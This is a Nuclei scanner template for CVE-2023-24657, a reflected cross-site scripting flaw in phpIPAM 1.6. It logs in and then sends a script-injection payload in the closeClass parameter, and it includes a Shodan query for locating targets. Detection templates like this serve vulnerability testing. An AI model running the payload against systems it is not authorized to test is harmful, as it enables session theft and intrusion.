51 lines
1.9 KiB
YAML
51 lines
1.9 KiB
YAML
id: CVE-2023-24657
|
|
|
|
info:
|
|
name: phpIPAM - 1.6 - Cross-Site Scripting
|
|
author: r3Y3r53
|
|
severity: medium
|
|
description: |
|
|
phpIPAM 1.6 contains a cross-site scripting vulnerability via the closeClass parameter at /subnet-masks/popup.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
|
remediation: |
|
|
Upgrade to a patched version of phpIPAM or apply the necessary security patches provided by the vendor.
|
|
reference:
|
|
- https://github.com/phpipam/phpipam/issues/3738
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-24657
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2023-24657
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00085
|
|
epss-percentile: 0.35482
|
|
cpe: cpe:2.3:a:phpipam:phpipam:1.6:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: phpipam
|
|
product: phpipam
|
|
shodan-query: html:"phpIPAM IP address management"
|
|
tags: cve,cve2023,xss,phpipam,authenticated
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /app/login/login_check.php HTTP/2
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
ipamusername={{username}}&ipampassword={{password}}
|
|
- |
|
|
GET /app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/2
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_2 == 200'
|
|
- 'contains(body_2, "<script>alert(document.domain)</script>") && contains(body_2, "Subnet masks")'
|
|
condition: and
|
|
|
|
# digest: 490a0046304402207b164bb922068e916657051238425531d0c443b752dcc7eb3d9b01103c2f17ad02204f7b9c8b990fa51767b419a6131d93bb102fa4f4cbdaa22cbd02753d9855af1b:922c64590222798bb761d5b6d8e72950
|